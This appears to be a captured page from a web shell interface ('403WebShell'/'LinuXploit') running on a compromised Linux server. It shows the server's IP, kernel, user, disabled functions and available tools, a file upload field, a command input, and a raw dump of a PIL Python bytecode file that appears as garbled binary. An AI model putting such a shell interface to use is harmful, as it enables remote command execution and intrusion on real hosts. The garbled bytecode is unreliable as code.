Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/PIL/__pycache__/FliImagePlugin.cpython-310.pyc
o

Z#�a��@sxddlmZmZmZddlmZddlmZddlm	Z	dd�Z
Gdd�dej�Ze�ej
ee
�e�ej
d	d
g�dS)�)�Image�	ImageFile�ImagePalette)�i16le)�i32le��o8cCst|�dkot|d�dvS)N��)��i�)�len�i16)�prefix�r�4/usr/lib/python3/dist-packages/PIL/FliImagePlugin.py�_acceptsrc@sHeZdZdZdZdZdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�ZdS)�FliImageFile�FLIzAutodesk FLI/FLC AnimationFcCs�|j�d�}t|�rt|d�dvr|dd�dkstd��t|d�|_|jd	k|_d
|_t|d�t|d�f|_t	|d
�}t|d�}|dkrK|dd}||j
d<dd�td�D�}|j�d
�}d|_t|d�dkrw|jt	|�|_|j�d
�}t|d�dkr�|j�d�}t|d�dkr�|�
|d�n
t|d�dkr�|�
|d�dd�|D�}t�dd�|��|_d|_|j|_|j��|_|�d�dS)N��)����sznot an FLI/FLC filer	r�P��
�r
ri��F�durationcSsg|]}|||f�qSrr)�.0�arrr�
<listcomp>Fsz&FliImageFile._open.<locals>.<listcomp>�i�i����rcSs*g|]\}}}t|�t|�t|��qSrr)r �r�g�brrrr"Ys*�RGB����)�fp�readrr
�SyntaxError�n_frames�is_animated�mode�_size�i32�info�range�_FliImageFile__offset�_paletter�raw�join�palette�_FliImageFile__frame�_FliImageFile__fp�tell�_FliImageFile__rewind�seek)�self�sr�magicr:rrr�_open+sB�


zFliImageFile._openc
Cs�d}tt|j�d���D]L}|j�d�}||d}|d}|dkr$d}|j�|d�}tdt|�d�D]#}|||>}||d|>}||d|>}	|||	f||<|d7}q4qdS)Nrr%rr#r)r5r
r,r-r)
r@r:�shift�i�erA�nr&r'r(rrrr7bs 
��zFliImageFile._palettecCsJ|�|�sdS||jkr|�d�t|jd|d�D]}|�|�qdS)Nrr)�_seek_checkr;�_seekr5)r@�frame�frrrr?ts


�zFliImageFile.seekcCs�|dkrd|_|j�|j�d|_n|��||jdkr$td|����||_|j|_|j�|j�|j�d�}|s<t	�t
|�}||_dd|j|jdfg|_
|j|7_dS)	Nrr+rrzcannot seek to frame r
�fli)rr)r;r<r?r>r6�load�
ValueErrorr,r-�EOFErrorr3�decodermaxblock�size�tile)r@rJrA�	framesizerrrrI}s"zFliImageFile._seekcCs|jS�N)r;�r@rrrr=�szFliImageFile.tellcCsPz#z
|j|jkr
|j��Wn	tyYnwWd|_dSWd|_dSd|_wrT)r<r,�close�AttributeErrorrUrrr�
_close__fp�s
���
�zFliImageFile._close__fpN)�__name__�
__module__�__qualname__�format�format_description�!_close_exclusive_fp_after_loadingrCr7r?rIr=rXrrrrr%s7	rz.fliz.flcN)�rrr�_binaryrr
rr3rrr�
register_openr\�register_extensionsrrrr�<module>s	

Youez - 2016 - github.com/yon3zu
LinuXploit